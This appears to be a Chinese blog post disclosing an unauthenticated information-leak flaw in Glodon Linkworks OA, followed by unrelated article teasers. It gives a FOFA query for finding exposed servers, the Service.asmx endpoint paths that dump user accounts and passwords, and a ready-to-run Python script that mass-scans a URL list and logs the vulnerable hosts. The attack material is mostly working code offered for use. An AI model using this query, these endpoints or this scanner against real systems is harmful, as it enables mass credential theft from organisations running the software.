广联达 Linkworks办公OA Service.asmx接口存在信息泄露漏洞

ops/2024/10/21 9:57:50/

漏洞描述

广联达科技股份有限公司以建设工程领域专业应用为核心基础支撑,提供一百余款基于“端+云+大数据”产品/服务,提供产业大数据、产业新金融等增值服务的数字建筑平台服务商。广联达OA存在信息泄露漏洞,由于某些接口没有鉴权,导致未经身份认证的远程攻击者可以利用该接口输出用户的账号密码。

漏洞复现

FOFA

python">app="Glodon-企业管理产品"

POC

python">IP+/Org/service/Service.asmx查看所有用户
/Org/service/Service.asmx/GetUserXml4GEPS
查看账户密码
/Org/service/Service.asmx/GetUserXml4GEPS

查看账户密码

python脚本

import argparse  
import time  
import requests  
from urllib.parse import urlsplit  
import warnings  
from urllib3.exceptions import InsecureRequestWarning  color_red = '\033[91m'  
color_green = '\033[92m'  
color_blue = '\033[94m'  
color_reset = '\033[0m'  def get_url(file):  with open(file, 'r', encoding='utf-8') as f:  for url in f:  url = url.replace('\n', '')  if "http" not in url:  url = "http://" + url  parsed_url = urlsplit(url)  base_url = parsed_url.scheme + "://" + parsed_url.netloc  send_req(base_url)  def write_result(content):  with open("result.txt", "a", encoding="UTF-8") as f:  f.write('{}\n'.format(content))  warnings.filterwarnings("ignore", category=InsecureRequestWarning)  def send_req(url_check):  url = url_check + '/Org/service/Service.asmx/GetAllUsersXml'  header = {  "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",  'Connection': 'close'  }  try:  response = requests.get(url=url, headers=header, verify=False, timeout=3)  if response.status_code == 200 and "<?xml" in response.text and "UserId=" in response.text and "SUserId=" in response.text and "Code=" in response.text:  response = requests.get(url=url_check + '/Org/service/Service.asmx/GetUserXml4GEPS', headers=header, verify=False, timeout=3)  if response.status_code == 200:  result2 = f"{url_check}/Org/service/Service.asmx/GetUserXml4GEPS"  print(color_red + result2 + color_reset)  # Added color_reset to avoid colored text issues  write_result(result2)  time.sleep(1)  except Exception as e:  pass  if __name__ == '__main__':  parser = argparse.ArgumentParser()  parser.add_argument("-f", "--file", help="URL地址文件")  args = parser.parse_args()  if args.file:  get_url(args.file)  else:  print("使用-f加url文件地址")

执行效果


http://www.ppmy.cn/ops/120042.html

相关文章

C语言日志类库 zlog 使用指南(第三章 “Hello World“)

第三章 “Hello World” 3.1 构建和安装 zlog 1. 下载 zlog&#xff1a; 链接: [https://github.com/HardySimpson/zlog/archive/latest-stable.tar.gz] 2. 解压并进入目录&#xff1a; $ tar -zxvf zlog-latest-stable.tar.gz $ cd zlog-latest-stable/3. 编译并安装&…

Arduino UNO R3自学笔记18 之 Arduino的外部中断、定时中断介绍及应用

注意&#xff1a;学习和写作过程中&#xff0c;部分资料搜集于互联网&#xff0c;如有侵权请联系删除。 前言&#xff1a;上篇写了为啥要用中断&#xff0c;这篇具体展开写Arduino中断相关的知识。 温习&#xff1a;单片机在执行程序时&#xff0c;发生一些其它紧急的事情&…

【分布式微服务云原生】gRPC vs RPC:深入探索远程过程调用的现代与经典

摘要 在分布式系统的世界里&#xff0c;gRPC和RPC是两个耳熟能详的术语&#xff0c;但它们之间有何区别和联系&#xff1f;本文将深入探讨gRPC和RPC的概念、关键特性、以及它们在现代软件开发中的应用。你将了解到gRPC如何作为RPC的一种实现&#xff0c;提供高性能的跨语言远程…

java-快速将普通main类变为javafx类,并加载自定义fxml

java-快速将普通main类变为javafx类&#xff0c;并加载自定义fxml 前提步骤1. 普通类继承Application2. 实现main方法3. 写一个controller4. 写一个fxml文件5. 写start方法加载fxml6. 具体代码7. 运行即可 前提 使用自带javafx的jdk&#xff0c;这里使用的是jdk1.834&#xff…

关系型数据库和非关系型数据库的区别

1.常见的主流数据库 关系型数据库&#xff1a; MySql 、达梦 、PostgreSQL 、Oracle 、Sql Server 、Sqlite非关系型数据库&#xff1a; Redis 、MongoDB 、HBase 、 Neo4J 、 CouchDB 2.介绍 关系型数据库最典型的数据结构是表&#xff0c;由二维表及其之间的联系…

聊聊JIT是如何影响JVM性能的!

文章内容收录到个人网站&#xff0c;方便阅读&#xff1a;http://hardyfish.top/ 文章内容收录到个人网站&#xff0c;方便阅读&#xff1a;http://hardyfish.top/ 文章内容收录到个人网站&#xff0c;方便阅读&#xff1a;http://hardyfish.top/ 我们知道Java虚拟机栈是线程…

在线代码编辑器

在线代码编辑器 文章说明前台核心代码后台核心代码效果展示源码下载 文章说明 采用Java结合vue3设计实现的在线代码编辑功能&#xff0c;支持在线编辑代码、运行代码&#xff0c;同时支持导入文件&#xff0c;支持图片识别&#xff0c;支持复制代码&#xff0c;可将代码导出为图…

在线PDF怎么转换成JPG图片?分享14种转换操作!

作为一名社畜&#xff0c;俺也经常要将PDF转换为图片格式&#xff01; 如何进行快速转换&#xff0c;包括电脑端、在线端和手机端&#xff0c;今天俺就测评了50款工具&#xff0c;给你得出了下面这些渠道&#xff0c;不少也是免费的&#xff0c;相信对你有帮助哦&#xff01; …